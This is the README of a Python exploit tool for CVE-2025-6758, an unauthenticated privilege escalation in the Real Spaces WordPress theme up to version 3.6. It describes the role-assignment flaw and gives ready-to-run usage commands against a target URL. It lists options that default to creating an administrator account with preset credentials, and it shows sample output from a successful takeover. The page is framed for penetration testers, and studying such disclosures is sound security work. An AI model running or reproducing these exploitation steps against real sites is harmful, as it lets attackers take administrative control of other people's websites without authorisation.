CVE-2025-6758

Real Spaces - WordPress Properties Directory Theme ≤ 3.6

Unauthenticated Privilege Escalation to Administrator via imic_agent_register

📝 Description

CVE-2025-6758
CVSS Score: 9.8 (Critical)

The Real Spaces - WordPress Properties Directory Theme for WordPress is vulnerable to privilege escalation via the imic_agent_register function in all versions up to and including 3.6.
This vulnerability arises from insufficient restrictions on role assignment during registration, allowing unauthenticated attackers to arbitrarily specify their role, including Administrator, when registering a new user.

This critical flaw enables remote attackers to gain full administrative access to WordPress sites running vulnerable versions of the theme, jeopardizing the integrity and security of the affected system.

⚡ Script Overview

CVE-2025-6758.py is a professional exploit and automation script written in Python to demonstrate and leverage this vulnerability.
The script is built for penetration testers and security researchers, providing automated discovery, nonce extraction, and exploitation in a highly reliable, modular, and silent manner.

Key Features

📚 Optional Arguments Table

🚀 Usage Instructions

python3 CVE-2025-6758.py -u http://TARGET/wordpress/

Optional Arguments

• --username Set custom username (default: Nxploited)
• --password Set custom password (default: 123456789)
• --email Set custom email (default: [email protected])
• --position Set custom position (default: Nxploitedadmin)
• --role Set user role (default: administrator)
• --max-pages Maximum pages to crawl for nonce discovery (default: 30)
• --max-depth Maximum link crawl depth (default: 2)
• --scan-common-paths Scan additional registration/plugin/theme paths
• --ajax-path Custom AJAX POST endpoint (default: wp-admin/admin-ajax.php)
• --verify-ssl Enable SSL certificate verification
• --cookie-save Path to save session cookies
• --save-json Path to save nonce discovery results as JSON

Example

python3 CVE-2025-6758.py -u http://192.168.100.74:888/wordpress/ --username AdminX --password MySecretPass123 --scan-common-paths --debug

🎯 Output

Upon successful exploitation, the script will output:

[+] Exploitation successful.
[+] Server message: You're successfully register
[+] Username: Nxploited
[+] Password: 123456789
[+] Email: [email protected]

If exploitation fails or the nonce is not found, descriptive error messages and hints for further troubleshooting will be shown.

⚠️ Disclaimer

This script is intended for educational, research, and authorized penetration testing purposes only.
Any unauthorized use against websites or systems without explicit written permission from the owner is strictly prohibited and may be illegal.
The author assumes no responsibility for misuse or damages resulting from use of this script.

🌐 Socials

📧 Email: [email protected]
📨 Telegram: @Kxploit
📡 Telegram Channel: @KNxploited

By: Nxploited ( Khaled Alenazi )